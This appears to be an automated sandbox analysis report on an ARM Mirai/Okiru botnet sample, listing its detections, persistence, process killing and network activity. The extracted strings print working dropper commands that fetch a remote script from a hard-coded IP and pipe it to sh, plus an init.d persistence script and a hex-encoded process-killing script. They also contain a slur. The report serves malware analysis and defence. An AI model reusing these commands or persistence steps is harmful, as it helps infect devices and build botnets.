Linux Analysis Report
arm5.nn.elf

Overview

General Information

Sample name: arm5.nn.elf
Analysis ID: 1579437
MD5: c4ad8ec22c330fa6cbf3478d093d5b1a
SHA1: 5c33bb04f267c788beead6123f95e34e8129462e
SHA256: fc0703a0a436b3bd220c2c1802a52d9617fc3e70c337d3dd7fb4cf03026c41cd
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm5.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm5.nn.elf ReversingLabs: Detection: 47%
Source: arm5.nn.elf Virustotal: Detection: 41% Perma Link
Found strings indicative of a multi-platform dropper
Source: arm5.nn.elf String: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: arm5.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60012 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/arm5.nn.elf (PID: 6242) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 90.1.41.162
Source: unknown TCP traffic detected without corresponding DNS query: 175.8.45.191
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 112.188.197.83
Source: unknown TCP traffic detected without corresponding DNS query: 200.190.203.46
Source: unknown TCP traffic detected without corresponding DNS query: 143.81.100.179
Source: unknown TCP traffic detected without corresponding DNS query: 79.123.164.113
Source: unknown TCP traffic detected without corresponding DNS query: 181.136.105.131
Source: unknown TCP traffic detected without corresponding DNS query: 22.16.62.62
Source: unknown TCP traffic detected without corresponding DNS query: 132.171.44.66
Source: unknown TCP traffic detected without corresponding DNS query: 90.1.41.162
Source: unknown TCP traffic detected without corresponding DNS query: 55.253.211.219
Source: unknown TCP traffic detected without corresponding DNS query: 147.144.88.242
Source: unknown TCP traffic detected without corresponding DNS query: 175.8.45.191
Source: unknown TCP traffic detected without corresponding DNS query: 167.50.4.56
Source: unknown TCP traffic detected without corresponding DNS query: 119.227.108.15
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 155.185.18.206
Source: unknown TCP traffic detected without corresponding DNS query: 112.188.197.83
Source: unknown TCP traffic detected without corresponding DNS query: 129.111.91.190
Source: unknown TCP traffic detected without corresponding DNS query: 206.92.215.167
Source: unknown TCP traffic detected without corresponding DNS query: 79.191.51.175
Source: unknown TCP traffic detected without corresponding DNS query: 200.190.203.46
Source: unknown TCP traffic detected without corresponding DNS query: 182.128.149.78
Source: unknown TCP traffic detected without corresponding DNS query: 3.117.156.88
Source: unknown TCP traffic detected without corresponding DNS query: 143.81.100.179
Source: unknown TCP traffic detected without corresponding DNS query: 172.97.195.145
Source: unknown TCP traffic detected without corresponding DNS query: 36.171.252.81
Source: unknown TCP traffic detected without corresponding DNS query: 79.123.164.113
Source: unknown TCP traffic detected without corresponding DNS query: 66.126.223.90
Source: unknown TCP traffic detected without corresponding DNS query: 52.246.205.84
Source: unknown TCP traffic detected without corresponding DNS query: 20.201.238.144
Source: unknown TCP traffic detected without corresponding DNS query: 181.136.105.131
Source: unknown TCP traffic detected without corresponding DNS query: 156.193.185.25
Source: unknown TCP traffic detected without corresponding DNS query: 22.16.62.62
Source: unknown TCP traffic detected without corresponding DNS query: 161.46.14.213
Source: unknown TCP traffic detected without corresponding DNS query: 132.171.44.66
Source: unknown TCP traffic detected without corresponding DNS query: 179.142.106.12
Source: unknown TCP traffic detected without corresponding DNS query: 88.30.217.157
Source: unknown TCP traffic detected without corresponding DNS query: 55.253.211.219
Source: unknown TCP traffic detected without corresponding DNS query: 219.122.24.87
Source: unknown TCP traffic detected without corresponding DNS query: 12.18.7.48
Source: unknown TCP traffic detected without corresponding DNS query: 112.128.176.67
Source: unknown TCP traffic detected without corresponding DNS query: 17.82.172.180
Source: unknown TCP traffic detected without corresponding DNS query: 95.167.193.93
Source: unknown TCP traffic detected without corresponding DNS query: 82.106.44.169
Source: unknown TCP traffic detected without corresponding DNS query: 155.94.41.112
Source: arm5.nn.elf, system.16.dr, inittab.16.dr, profile.16.dr, arm5.nn.elf.36.dr, custom.service.16.dr, bootcmd.16.dr String found in binary or memory: http://94.156.227.233/
Source: arm5.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: arm5.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: arm5.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/b
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 6281, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6319) SIGKILL sent: pid: 6392, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm5.nn.elf (PID: 6242) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm5.nn.elf (PID: 6242) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6291) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6302) File: /etc/rc.d/S99arm5.nn.elf -> /etc/init.d/arm5.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm5.nn.elf (PID: 6242) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6288) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6296) File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6395/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6430/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6396/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6421/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6432/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6431/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6423/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6434/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6422/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6433/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6391/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6052/cmdline Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6392/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6425/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6424/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6435/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6427/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6426/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6429/status Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6307) File opened: /proc/6428/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm5.nn.elf (PID: 6264) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6282) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6289) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6292) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn.elf'\n /tmp/arm5.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn.elf'\n killall arm5.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn.elf" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6294) Shell command executed: sh -c "chmod +x /etc/init.d/arm5.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6297) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 6300) Shell command executed: sh -c "ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6288) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6296) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm5.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6299) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6215) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.tKOT7gIk0b /tmp/tmp.dWU4Um3rwG /tmp/tmp.SKAtgbf7va Jump to behavior
Source: /usr/bin/dash (PID: 6216) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.tKOT7gIk0b /tmp/tmp.dWU4Um3rwG /tmp/tmp.SKAtgbf7va Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6266) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm5.nn.elf (PID: 6242) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6288) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6296) File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm5.nn.elf (PID: 6242) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm5.nn.elf (PID: 6242) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6292) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm5.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm5.nn.elf (PID: 6242) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6292) File: /etc/init.d/arm5.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm5.nn.elf (PID: 6242) Queries kernel information via 'uname': Jump to behavior
Source: arm5.nn.elf, 6242.1.00007fff1b022000.00007fff1b043000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.nn.elf
Source: arm5.nn.elf, 6242.1.00005578e7aa3000.00005578e7bf1000.rw-.sdmp Binary or memory string: c/qemu-binfmtP
Source: arm5.nn.elf, 6242.1.00005578e7aa3000.00005578e7bf1000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm5.nn.elf, 6242.1.00005578e7aa3000.00005578e7bf1000.rw-.sdmp Binary or memory string: xU!/etc/qemu-binfmt/arm
Source: arm5.nn.elf, 6242.1.00007fff1b022000.00007fff1b043000.rw-.sdmp Binary or memory string: /tmp/qemu-open.uaonbc
Source: arm5.nn.elf, 6242.1.00007fff1b022000.00007fff1b043000.rw-.sdmp Binary or memory string: xU/tmp/qemu-open.uaonbc
Source: arm5.nn.elf, 6242.1.00005578e7aa3000.00005578e7bf1000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.nn.elf, 6242.1.00007fff1b022000.00007fff1b043000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm5.nn.elf, 6242.1.00005578e7aa3000.00005578e7bf1000.rw-.sdmp Binary or memory string: !/proc/2018/exe0!/usr/bin/vmtoolsd1/usr/libexec/geoclue-2.0/demos/agent!/proc/2014/exe0!/proc/759/exe1/usr/libexec/evolution-data-serveri
Source: arm5.nn.elf, 6242.1.00007fff1b022000.00007fff1b043000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.nn.elf, 6242.1.00005578e7aa3000.00005578e7bf1000.rw-.sdmp Binary or memory string: -1c/qemu-binfmtP /proc/4444/exe-server/eQ

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6242.1.00007f8c64017000.00007f8c64031000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6242.1.00007f8c64017000.00007f8c64031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 6242, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6242.1.00007f8c64017000.00007f8c64031000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 6242.1.00007f8c64017000.00007f8c64031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 6242, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.140.249.240
 unknown Canada
808 GONET-ASN-1CA false
180.152.123.206
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
16.174.89.80
 unknown United States
unknown unknown false
137.181.232.189
 unknown United States
11003 PANDGUS false
48.48.126.136
 unknown United States
2686 ATGS-MMD-ASUS false
65.166.13.98
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
217.234.140.150
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
61.59.84.141
 unknown Taiwan; Republic of China (ROC)
4780 SEEDNETDigitalUnitedIncTW false
194.71.56.93
 unknown Sweden
199355 LANDSTINGET-DALARNA-ASSE false
8.16.225.88
 unknown United States
3356 LEVEL3US false
148.21.179.124
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
198.86.164.26
 unknown United States
81 NCRENUS false
5.1.77.232
 unknown Germany
205948 CREOLINE-ASDE false
102.1.138.159
 unknown unknown
36926 CKL1-ASNKE false
219.56.44.197
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
202.195.124.39
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
153.90.129.118
 unknown United States
13476 MSU-BOZEMANUS false
208.104.247.76
 unknown United States
14615 ROCK-HILL-TELEPHONEUS false
69.78.18.202
 unknown United States
6167 CELLCO-PARTUS false
111.102.184.61
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
199.168.24.43
 unknown United States
396286 VSTOASNUS false
35.188.150.152
 unknown United States
15169 GOOGLEUS false
220.161.70.253
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
213.41.92.253
 unknown United Kingdom
8220 COLTCOLTTechnologyServicesGroupLimitedGB false
132.183.9.249
 unknown United States
40831 PHSUS false
146.91.129.246
 unknown United States
6871 PLUSNETUKInternetServiceProviderGB false
172.212.161.230
 unknown United States
18747 IFX18747US false
187.61.232.248
 unknown Brazil
28220 CABOSERVICOSDETELECOMUNICACOESLTDABR false
44.117.59.217
 unknown United States
7377 UCSDUS false
113.33.239.86
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
71.178.45.244
 unknown United States
701 UUNETUS false
74.138.34.36
 unknown United States
10796 TWC-10796-MIDWESTUS false
207.43.22.191
 unknown United States
18649 ST-DALUS false
122.80.147.209
 unknown China
45069 CNNIC-CTTSDNET-APchinatietongShandongnetCN false
182.34.50.141
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
8.108.177.60
 unknown United States
3356 LEVEL3US false
95.120.74.79
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
214.184.61.142
 unknown United States
721 DNIC-ASBLK-00721-00726US false
97.2.95.141
 unknown United States
22394 CELLCOUS false
160.116.62.183
 unknown South Africa
62355 NETWORKDEDICATEDCH false
135.126.20.250
 unknown United States
14962 NCR-252US false
7.25.208.129
 unknown United States
3356 LEVEL3US false
187.139.45.242
 unknown Mexico
8151 UninetSAdeCVMX false
97.11.190.230
 unknown United States
22394 CELLCOUS false
36.104.203.113
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
107.111.242.33
 unknown United States
7018 ATT-INTERNET4US false
131.153.153.83
 unknown United States
19437 SS-ASHUS false
115.192.142.13
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
177.232.41.30
 unknown Mexico
13591 MexicoReddeTelecomunicacionesSdeRLdeCVMX false
41.116.48.34
 unknown South Africa
16637 MTNNS-ASZA false
187.139.255.153
 unknown Mexico
8151 UninetSAdeCVMX false
19.46.47.47
 unknown United States
3 MIT-GATEWAYSUS false
141.224.216.98
 unknown United States
18454 AUGSBURGUS false
221.17.67.204
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
221.143.115.84
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
32.166.154.66
 unknown United States
2686 ATGS-MMD-ASUS false
70.104.159.96
 unknown United States
5650 FRONTIER-FRTRUS false
176.231.112.166
 unknown Israel
12400 PARTNER-ASIL false
68.2.22.233
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
32.85.124.10
 unknown United States
2686 ATGS-MMD-ASUS false
103.135.166.192
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
78.83.54.222
 unknown Bulgaria
29580 HOMELAN-ASBG false
12.3.68.57
 unknown United States
7018 ATT-INTERNET4US false
182.151.4.187
 unknown China
38283 CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData false
203.175.25.65
 unknown Japan 24290 HEARTNETHeartNetworkCoLTDJP false
98.20.181.229
 unknown United States
7029 WINDSTREAMUS false
15.204.184.191
 unknown United States
71 HP-INTERNET-ASUS false
182.92.199.130
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
176.152.246.179
 unknown France
5410 BOUYGTEL-ISPFR false
140.251.109.191
 unknown United States
20252 JSIWMCUS false
54.68.108.242
 unknown United States
16509 AMAZON-02US false
209.204.81.89
 unknown United States
10823 NETCARRIERUS false
193.3.143.160
 unknown Denmark
3292 TDCTDCASDK false
187.245.239.186
 unknown Mexico
13999 MegaCableSAdeCVMX false
63.89.46.181
 unknown United States
701 UUNETUS false
132.170.120.10
 unknown United States
7939 UNIVCENTFLAUS false
57.245.3.240
 unknown Belgium
2686 ATGS-MMD-ASUS false
35.249.158.106
 unknown United States
